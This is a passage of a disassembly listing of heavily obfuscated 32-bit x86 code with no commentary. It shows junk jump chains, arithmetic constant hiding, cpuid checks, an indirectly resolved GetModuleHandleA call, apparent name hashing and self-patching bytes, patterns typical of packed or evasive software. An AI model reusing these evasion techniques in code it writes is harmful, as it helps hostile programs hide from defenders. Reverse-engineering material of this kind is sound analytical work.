sub_426562 proc near ; CODE XREF: sub_423278j
; DATA XREF: sub_42AA07:loc_42326Eo
call sub_425324
or eax, eax
jnz locret_426574
loc_42656F: ; CODE XREF: sub_42AA07+6j
call sub_42983E
locret_426574: ; CODE XREF: sub_426562+7j
retn
sub_426562 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B396
loc_426575: ; CODE XREF: sub_42B396+5j
jmp nullsub_204
; END OF FUNCTION CHUNK FOR sub_42B396
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AC2D
loc_42657A: ; CODE XREF: sub_42AC2D+23j
jmp loc_421A87
; END OF FUNCTION CHUNK FOR sub_42AC2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B238
loc_42657F: ; CODE XREF: sub_42B238:loc_4251EDj
cmp dword ptr [ebp-4], 100h
jnz loc_422A56
jmp loc_422A7B
; END OF FUNCTION CHUNK FOR sub_42B238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422AD5
loc_426591: ; CODE XREF: sub_422AD5:loc_4255BAj
jz loc_4264C3
jmp loc_42110F
; END OF FUNCTION CHUNK FOR sub_422AD5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42659C: ; CODE XREF: sub_423FCD:loc_428745j
cpuid
and eax, 0FFFh
add [esi], eax
xor [esi], edx
mov eax, 80000000h
cpuid
jmp loc_429A9F
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
loc_4265B3: ; DATA XREF: sub_4290C0+7o
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_4265B7: ; CODE XREF: sub_42C057-1504j
jmp loc_421204
; END OF FUNCTION CHUNK FOR sub_42C057
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423284
loc_4265BD: ; CODE XREF: sub_423284+6j
jmp loc_4224EA
; END OF FUNCTION CHUNK FOR sub_423284
; =============== S U B R O U T I N E =======================================
sub_4265C2 proc near ; CODE XREF: sub_42A7A6:loc_428509j
; sub_428381+3AD8p
; FUNCTION CHUNK AT 00426E23 SIZE 0000000B BYTES
push 0AB20A00Ah
pop eax
and eax, 28B0F8BAh
jmp loc_426E23
sub_4265C2 endp
; ---------------------------------------------------------------------------
push 5B3C1595h
pop eax
add eax, 0BDC72B40h
xor eax, 0F1322A79h
jmp loc_42AE1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B314
loc_4265EA: ; CODE XREF: sub_42B314+13j
call sub_423FCD
loc_4265EF: ; CODE XREF: sub_4272E9-1D12j
jmp loc_423D42
; END OF FUNCTION CHUNK FOR sub_42B314
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_4265F4: ; CODE XREF: sub_4259BF-3DE3j
; sub_4259BF:loc_422773j
cmp dword ptr [ebp-10h], 0
push offset loc_424945
jmp loc_421EF5
; END OF FUNCTION CHUNK FOR sub_4259BF
; =============== S U B R O U T I N E =======================================
sub_426602 proc near ; CODE XREF: sub_425983-18C5p
; _94j21ax3:0042539Cj
xchg edi, [esp+0]
pop edi
mov ds:dword_4256C0, eax
retn
sub_426602 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_42660D: ; CODE XREF: sub_42972F+1D82j
jmp loc_428677
; END OF FUNCTION CHUNK FOR sub_42972F
; =============== S U B R O U T I N E =======================================
sub_426612 proc near ; CODE XREF: sub_424320:loc_423DCBp
; sub_425983:loc_4240ABp ...
; FUNCTION CHUNK AT 0042B43A SIZE 00000005 BYTES
jns sub_422538
push ebp
mov ebp, esp
jmp loc_42B43A
sub_426612 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422CA6
loc_426621: ; CODE XREF: sub_422CA6+3859j
jmp sub_426B3C
; END OF FUNCTION CHUNK FOR sub_422CA6
; =============== S U B R O U T I N E =======================================
sub_426626 proc near ; CODE XREF: sub_421D33+98BFp
; _94j21ax3:0042C5BBj
; FUNCTION CHUNK AT 0042474E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428443 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428FC8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042B80E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BC61 SIZE 0000001D BYTES
mov [esp+0], eax
pop eax
mov [ebp-20h], eax
jmp loc_42474E
sub_426626 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_426632: ; CODE XREF: sub_421D33:loc_42B511j
test byte ptr [ebp-7], 8
jz loc_42C550
push ebp
call sub_42764C
loc_426642: ; CODE XREF: sub_424902:loc_427FA2j
add edx, 0FC8A26BDh
xchg edx, [esp+28h+var_28]
jmp sub_42C057
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_426650: ; CODE XREF: sub_42C1AE-A570j
test edx, 82BF5D4Ah
jmp loc_425896
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42665B: ; CODE XREF: sub_423614-51Ej
; sub_423614:loc_42AE88j
pop ecx
mov ebp, offset nullsub_207
call sub_4251D5
xchg eax, edi
push edi
xchg eax, edi
loc_42666B: ; CODE XREF: _94j21ax3:loc_423888j
ror eax, 10h
push esi
push 0EE1D3DA0h
pop esi
add esi, 12258490h
jmp loc_428BAC
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_426680: ; CODE XREF: sub_423324:loc_423421j
jnz loc_42201C
jmp loc_426D2D
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42668B: ; CODE XREF: sub_42169F-8Cj
mov ebx, ebp
popf
loc_42668E: ; CODE XREF: sub_42169F:loc_42B7E4j
call nullsub_6
retn
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_426694: ; CODE XREF: sub_423F55+38B5j
jmp loc_427E01
; END OF FUNCTION CHUNK FOR sub_423F55
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42669A: ; CODE XREF: sub_42169F+384j
; _94j21ax3:0042768Dj
call sub_42C057
jmp loc_42A6A8
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
loc_4266A4: ; CODE XREF: _94j21ax3:00423ADEj
add ebx, 0DCCCD51Bh
call sub_4252F6
; START OF FUNCTION CHUNK FOR sub_422FDC
loc_4266AF: ; CODE XREF: sub_422FDC+7990j
jmp loc_4232BD
; END OF FUNCTION CHUNK FOR sub_422FDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427679
loc_4266B4: ; CODE XREF: sub_427679:loc_422EE5j
movzx edx, byte ptr [ecx+edx]
and eax, edx
; END OF FUNCTION CHUNK FOR sub_427679
; START OF FUNCTION CHUNK FOR sub_42484C
loc_4266BA: ; CODE XREF: sub_42484C:loc_42312Aj
jz loc_42BFCA
jmp loc_429A61
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
loc_4266C5: ; CODE XREF: _94j21ax3:00422EDAj
jge loc_428DE7
loc_4266CB: ; CODE XREF: _94j21ax3:00422B8Aj
sub edx, 0BEB8328h
xor edx, 266D41D0h
call sub_4239A5
call sub_42574E
call sub_42A092
; START OF FUNCTION CHUNK FOR sub_4225A5
loc_4266E6: ; CODE XREF: sub_4225A5+775Bj
jmp loc_4280DE
; END OF FUNCTION CHUNK FOR sub_4225A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42773C
loc_4266EB: ; CODE XREF: sub_42773C+28E1j
call sub_421A4F
locret_4266F0: ; CODE XREF: sub_422EB0+3E3Fj
retn
; END OF FUNCTION CHUNK FOR sub_42773C
; ---------------------------------------------------------------------------
loc_4266F1: ; CODE XREF: _94j21ax3:00427A0Fj
jmp loc_4297A8
; =============== S U B R O U T I N E =======================================
sub_4266F6 proc near ; CODE XREF: sub_42265F+1p
; _94j21ax3:00427D29j
; FUNCTION CHUNK AT 004280E0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428324 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042C5C1 SIZE 00000005 BYTES
mov [esp+0], ebx
pop ebx
mov ebp, esp
push ecx
mov esp, ebp
pop ebp
push 0F0AFEEA2h
pop eax
jmp loc_428324
sub_4266F6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42670B: ; CODE XREF: _94j21ax3:00429FB7j
jnz loc_42A2BC
jmp loc_428F05
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426716 proc near ; DATA XREF: sub_42A61F:loc_42374Ao
var_18 = byte ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 0042102B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00421D8B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00423E83 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004277D5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428EED SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A229 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AAFE SIZE 00000005 BYTES
push ebp
mov ebp, esp
push ecx
call sub_42771C
loc_42671F: ; CODE XREF: sub_428381+1ECEj
ja loc_421D8B
pushf
jmp loc_4277D5
sub_426716 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42672B: ; CODE XREF: sub_42B9CF-1F7j
jnz loc_42B1EC
jmp loc_423632
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
loc_426736: ; DATA XREF: sub_421457:loc_42A4D2o
rol eax, 0Dh
push offset loc_422C37
jmp loc_427613
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_426744 proc near ; CODE XREF: _94j21ax3:00426E1Ej
; sub_42851E+Cp
; FUNCTION CHUNK AT 00421DF8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042394B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428B9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429DAC SIZE 00000016 BYTES
xchg esi, [esp+0]
pop esi
mov ebp, [eax]
add eax, 4
mov edx, [eax]
mov al, 1
call edx ; GetModuleHandleA
jmp loc_428B9C
sub_426744 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jbe loc_428108
jmp loc_429892
; ---------------------------------------------------------------------------
loc_426763: ; DATA XREF: sub_42960D+12o
xor eax, 0ECD7CAFEh
and ecx, eax
pop eax
pushf
push 474D3948h
loc_426772: ; CODE XREF: _94j21ax3:loc_42745Fj
pop eax
jmp loc_423C28
; ---------------------------------------------------------------------------
loc_426778: ; CODE XREF: _94j21ax3:loc_422F24j
add edx, 22EE30BFh
cmp edx, 3D6BA2C7h
jmp loc_423827
; ---------------------------------------------------------------------------
locret_426789: ; CODE XREF: _94j21ax3:0042442Ej
retn
; =============== S U B R O U T I N E =======================================
sub_42678A proc near ; CODE XREF: _94j21ax3:004228E4j
; sub_42678A+1658p
; FUNCTION CHUNK AT 004238E4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004277B8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00427DD9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429330 SIZE 00000009 BYTES
mov [esp+0], esi
pop esi
mov ecx, [ebx+edx-8]
or ecx, ecx
jz loc_42933E
call sub_4269EC
jnz loc_427DD9
mov ecx, [ebx+edx-4]
jmp loc_4277A8
sub_42678A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_4267AE: ; CODE XREF: sub_421689:loc_42B1E7j
jnz loc_422633
; END OF FUNCTION CHUNK FOR sub_421689
; START OF FUNCTION CHUNK FOR sub_42328F
loc_4267B4: ; CODE XREF: sub_42328F+EEEj
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_42328F
; ---------------------------------------------------------------------------
jns locret_42B1F1
sub ebp, esi
jmp loc_422633
; =============== S U B R O U T I N E =======================================
sub_4267C6 proc near ; CODE XREF: _94j21ax3:0042A3FEj
; sub_428BBD+1B0Bp
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004224BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A2A SIZE 00000018 BYTES
mov [esp+0], eax
push ebx
push 0B84A0355h
pop ebx
and ebx, 31F6A56Dh
xor ebx, 30420141h
jmp loc_4224BA
sub_4267C6 endp
; ---------------------------------------------------------------------------
loc_4267E1: ; CODE XREF: _94j21ax3:00425691j
pop ebx
xchg eax, [esp]
mov edx, eax
pop eax
loc_4267E8: ; CODE XREF: _94j21ax3:00428018j
pop eax
; START OF FUNCTION CHUNK FOR sub_425819
loc_4267E9: ; CODE XREF: sub_425819:loc_425053j
mov ebp, offset loc_426485
xchg ebp, [esp-4+arg_0]
retn
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
loc_4267F2: ; DATA XREF: sub_425790-41D3o
call sub_42574E
mov edx, 0DD5E106Fh
call sub_4239A5
pushf
jmp loc_4280F6
; ---------------------------------------------------------------------------
loc_426807: ; CODE XREF: _94j21ax3:004226D0j
mov [esi], eax
; =============== S U B R O U T I N E =======================================
sub_426809 proc near ; CODE XREF: _94j21ax3:004284FFp
; FUNCTION CHUNK AT 004210A0 SIZE 0000000A BYTES
xchg edx, [esp+0]
pop edx
push eax
jmp loc_4210A0
sub_426809 endp
; ---------------------------------------------------------------------------
loc_426813: ; CODE XREF: _94j21ax3:00426B2Fj
add ebp, 80664A5Ch
loc_426819: ; CODE XREF: _94j21ax3:loc_426B19j
rol ebx, 6
add ebx, 0DD3C865Dh
xchg ebx, [esp]
jmp loc_426E57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42682A: ; CODE XREF: sub_4294B3-420Fj
pop edi
test ebx, esi
jmp loc_426DC0
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B238
loc_426832: ; CODE XREF: sub_42B238+18j
xor edx, 232DBD2Fh
add edx, ebp
add edx, 0A039C696h
mov edx, [edx]
mov byte ptr [eax+edx], 0
inc dword ptr [ebp-4]
jmp loc_4251ED
; END OF FUNCTION CHUNK FOR sub_42B238
; ---------------------------------------------------------------------------
shr ebx, 1Ch
jmp sub_42A770
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_426856: ; CODE XREF: sub_424C37:loc_426CCFj
xchg esi, eax
or ebx, 0BC9ED975h
pushf
jmp loc_4296E2
; END OF FUNCTION CHUNK FOR sub_424C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424D58
loc_426864: ; CODE XREF: sub_424D58+18j
add esi, 0BF6601BFh
xchg esi, [esp+0Ch+var_C]
jmp loc_428C31
; END OF FUNCTION CHUNK FOR sub_424D58
; ---------------------------------------------------------------------------
mov edx, 24CC2B1h
call sub_4239A5
push eax
ror eax, 0Eh
push ebx
push 0CAE90BE8h
jmp loc_42585C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_42688B: ; CODE XREF: sub_421689+1C67j
sub ebp, edx
sub edi, 0F07EA2A1h
sub edi, eax
jmp loc_421714
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423BF8
loc_42689A: ; CODE XREF: sub_423BF8:loc_428E83j
push 69EC1C5Dh
pop eax
add eax, 96563F67h
loc_4268A6: ; CODE XREF: sub_4294B3:loc_424A18j
mov eax, [eax]
jmp loc_429E24
; END OF FUNCTION CHUNK FOR sub_423BF8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_4268AF: ; CODE XREF: sub_42169F:loc_426485j
call sub_42C057
test al, al
jz loc_428C36
call sub_42C149
; END OF FUNCTION CHUNK FOR sub_42169F
; =============== S U B R O U T I N E =======================================
sub_4268C1 proc near ; CODE XREF: sub_421402+2Ej
; sub_4237DC:loc_4280BCp
; FUNCTION CHUNK AT 00425588 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426D0B SIZE 00000005 BYTES
xchg ebx, [esp+0]
pop ebx
mov eax, [ebp-0Ch]
movzx eax, byte ptr [eax]
add [ebp-8], eax
mov eax, [ebp-8]
shl eax, 0Ah
add [ebp-8], eax
jmp loc_425588
sub_4268C1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4268DC: ; CODE XREF: sub_4294B3:loc_422133j
cmp dword ptr [ebp-8], 0
jz loc_421933
jmp loc_42529E
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428993
loc_4268EB: ; CODE XREF: sub_428993-5D3j
not ecx
or esi, ecx
and ebx, 861EA492h
jz loc_4234B2
jmp loc_42A750
; END OF FUNCTION CHUNK FOR sub_428993
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424775
loc_426901: ; CODE XREF: sub_424775-91Bj
push 0D7751B40h
loc_426906: ; CODE XREF: _94j21ax3:0042906Fj
pop eax
add eax, 46B57842h
add eax, ebp
loc_42690F: ; CODE XREF: sub_421F28:loc_427905j
add eax, 0E1D56C76h
jmp loc_427232
; ---------------------------------------------------------------------------
loc_42691A: ; CODE XREF: sub_424775+31E5j
mov eax, [ebp-30h]
push eax
jmp loc_423E53
; END OF FUNCTION CHUNK FOR sub_424775
; ---------------------------------------------------------------------------
loc_426923: ; CODE XREF: _94j21ax3:0042A49Dj
add esp, 0FFFFFFCCh
lea eax, nullsub_9
mov byte ptr [eax], 0C3h
mov [ebp-4], eax
push 1Ch
lea eax, [ebp-34h]
jmp loc_426E94
; ---------------------------------------------------------------------------
locret_42693C: ; CODE XREF: _94j21ax3:loc_4282E6j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428FFB
loc_42693D: ; CODE XREF: sub_428FFB+10j
jmp loc_422138
; END OF FUNCTION CHUNK FOR sub_428FFB
; ---------------------------------------------------------------------------
word_426942 dw 0C7C1h ; DATA XREF: _94j21ax3:00427C09o
dd 0DAC78117h, 681B0BF4h
dd offset sub_42BD16
dd 0FFEBB9E9h
db 0FFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_426955: ; CODE XREF: sub_422866:loc_423002j
add eax, 0A40AF58Eh
add eax, ebp
add eax, 73F58CB1h
call sub_428205
loc_426968: ; CODE XREF: sub_42AE5A:loc_429478j
xor esi, 0D22635DEh
sub esi, 0CF7C6CCDh
xor esi, 54A0F2BCh
popf
cmp edx, esi
loc_42697D: ; CODE XREF: _94j21ax3:0042C0F9j
pop esi
and ecx, ebx
jmp loc_428F7C
; END OF FUNCTION CHUNK FOR sub_422866
; =============== S U B R O U T I N E =======================================
sub_426985 proc near ; CODE XREF: _94j21ax3:0042A97Fj
; sub_42BAD4+9p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042B2BC SIZE 0000001A BYTES
mov [esp+0], eax
pop eax
mov eax, [ebp-14h]
mov eax, [eax+24h]
add eax, [ebp-4]
xor edx, edx
push edx
push eax
jmp loc_42B2BC
sub_426985 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42699B: ; CODE XREF: sub_42A0CC-66A9j
jnz loc_4234C0
jmp loc_42A183
; END OF FUNCTION CHUNK FOR sub_42A0CC
; =============== S U B R O U T I N E =======================================
sub_4269A6 proc near ; CODE XREF: _94j21ax3:00429E19j
; sub_426C7A+57DCp
xchg ecx, [esp+0]
pop ecx
pop ebp
retn
sub_4269A6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABCE
loc_4269AC: ; CODE XREF: sub_42ABCE+6j
jmp loc_429AF8
; END OF FUNCTION CHUNK FOR sub_42ABCE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421330
loc_4269B1: ; CODE XREF: sub_421330+16j
jmp loc_429126
; END OF FUNCTION CHUNK FOR sub_421330
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_4269B6: ; CODE XREF: sub_42484C+7C02j
mov eax, [ebp-4]
movzx eax, byte ptr [eax]
shr eax, 1
cmp eax, 66h
jmp loc_424811
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
jmp sub_4238D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_4269CB: ; CODE XREF: sub_42169F:loc_423E0Fj
jnb loc_421A1C
push eax
push 1939569Bh
pop eax
jmp loc_4273E6
; END OF FUNCTION CHUNK FOR sub_42169F
; =============== S U B R O U T I N E =======================================
sub_4269DD proc near ; DATA XREF: sub_423FCD:loc_42195Co
xchg esi, [esp+0]
jmp sub_42A61F
sub_4269DD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_4269E5: ; CODE XREF: sub_4281A5:loc_425527j
mov eax, ebx
jmp loc_42A455
; END OF FUNCTION CHUNK FOR sub_4281A5
; =============== S U B R O U T I N E =======================================
sub_4269EC proc near ; CODE XREF: sub_4281A5-6CFBp
; sub_4281A5-5C3Dp ...
mov eax, [ebx+ecx]
xor eax, [ebx+ecx+4]
cmp eax, 7C61090Eh
jmp nullsub_36
sub_4269EC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4269FD: ; CODE XREF: sub_422EB0+2775j
shr esi, 17h
loc_426A00: ; CODE XREF: sub_422EB0:loc_4218D3j
push 9DADFF5Fh
mov eax, offset loc_426A1D
xchg eax, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_426A0E: ; CODE XREF: sub_42284F:loc_42AE83j
jmp loc_424CDC
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
loc_426A13: ; CODE XREF: _94j21ax3:004281F3j
jmp loc_42A8A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_426A18: ; CODE XREF: sub_428B5E-4238j
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_428B5E
; ---------------------------------------------------------------------------
loc_426A1D: ; DATA XREF: sub_422EB0+3B55o
and eax, 33A1008h
xor eax, 0EDFC165Ch
jmp loc_423EFC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429259
loc_426A2F: ; CODE XREF: sub_429259+6j
jmp loc_4231B2
; END OF FUNCTION CHUNK FOR sub_429259
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_426A34: ; CODE XREF: sub_429862-14ECj
; _94j21ax3:loc_42B79Ej
call sub_42574E
push offset sub_4288BF
jmp nullsub_78
; END OF FUNCTION CHUNK FOR sub_429862
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426A43 proc near ; CODE XREF: sub_42484C+3C5Fj
retn
sub_426A43 endp
; ---------------------------------------------------------------------------
loc_426A44: ; CODE XREF: _94j21ax3:00428CF4j
jmp locret_4217A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_426A49: ; CODE XREF: sub_423FCD:loc_425228j
; sub_423FCD+5136j
mov edi, eax
push 0BA047ED8h
pop eax
or eax, 23328953h
rol eax, 1
cmp eax, 0A60DF39Eh
jmp loc_422075
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
cdq
jg loc_42A7DB
jmp sub_4213A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424775
loc_426A70: ; CODE XREF: sub_424775:loc_427232j
mov eax, [eax]
push edx
pushf
push 0AE5FB7F3h
add edx, ebp
jmp loc_4276FA
; END OF FUNCTION CHUNK FOR sub_424775
; ---------------------------------------------------------------------------
loc_426A80: ; CODE XREF: _94j21ax3:00422D48j
rol edx, 0Fh
; =============== S U B R O U T I N E =======================================
sub_426A83 proc near ; CODE XREF: sub_425975+9p
; FUNCTION CHUNK AT 004222B8 SIZE 00000010 BYTES
mov [esp+0], ebx
pop ebx
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz loc_423F5C
lea eax, [ebp-125h]
jmp loc_4222B8
sub_426A83 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426A9F proc near ; DATA XREF: sub_42A430+6o
; FUNCTION CHUNK AT 00425133 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425A3D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042876F SIZE 0000000D BYTES
xor [esi], ebx
add [esi], ecx
xor [esi], edx
push 61D0F134h
pop eax
sub eax, 6E5A8BCAh
xor eax, 7376656Eh
jmp loc_425133
sub_426A9F endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_426ABD: ; CODE XREF: _94j21ax3:00427C2Aj
call sub_42AFFE
push eax
ror eax, 14h
mov ds:dword_42C4B8, eax
locret_426ACC: ; CODE XREF: _94j21ax3:00422F04j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_426ACD: ; CODE XREF: sub_423FCD-12Ej
jmp loc_428224
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421457
loc_426AD2: ; CODE XREF: sub_421457+19j
jmp loc_427B40
; END OF FUNCTION CHUNK FOR sub_421457
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42966A
loc_426AD7: ; CODE XREF: sub_42966A+6j
rol eax, 14h
push eax
jmp loc_42C490
; END OF FUNCTION CHUNK FOR sub_42966A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429629
loc_426AE0: ; CODE XREF: sub_429629-1D3Fj
; sub_429629:loc_428562j
call sub_429BC2
test eax, eax
jz loc_424949
jmp loc_42BA3A
; END OF FUNCTION CHUNK FOR sub_429629
; ---------------------------------------------------------------------------
loc_426AF2: ; CODE XREF: _94j21ax3:00428E73j
jz loc_42364A
jmp loc_42C38E
; =============== S U B R O U T I N E =======================================
sub_426AFD proc near ; CODE XREF: _94j21ax3:loc_424149p
; _94j21ax3:0042854Ej
; FUNCTION CHUNK AT 004245CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004278A2 SIZE 0000000E BYTES
mov [esp+0], eax
pop eax
jnb loc_4245CB
push ecx
push 6778A5F4h
pop ecx
or ecx, ds:4000F2h
jmp loc_4278A2
sub_426AFD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_426B19: ; CODE XREF: _94j21ax3:loc_425606j
jnz loc_426819
loc_426B1F: ; CODE XREF: _94j21ax3:00424E12j
jmp loc_42252D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_426B24: ; CODE XREF: sub_422EB0+Bj
jmp loc_424A4C
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
rol ecx, 0Ch
shl ebx, 3
jmp loc_426813
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421388
loc_426B34: ; CODE XREF: sub_421388+9D74j
mov [ebp-0Ch], eax
jmp loc_425B22
; END OF FUNCTION CHUNK FOR sub_421388
; =============== S U B R O U T I N E =======================================
sub_426B3C proc near ; CODE XREF: sub_423C3E+7p
; sub_4272E9-2BE3j ...
; FUNCTION CHUNK AT 004256B8 SIZE 00000005 BYTES
push offset loc_42ACF7
jmp loc_4256B8
sub_426B3C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_426B46: ; CODE XREF: sub_423F55:loc_422110j
xchg edi, [edx]
jnb loc_423B95
mov [edx], ebp
shr esi, 11h
jmp loc_42C244
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
add ecx, 0B3AC5D5Fh
jmp loc_42764A
; ---------------------------------------------------------------------------
loc_426B63: ; CODE XREF: _94j21ax3:0042C5B0j
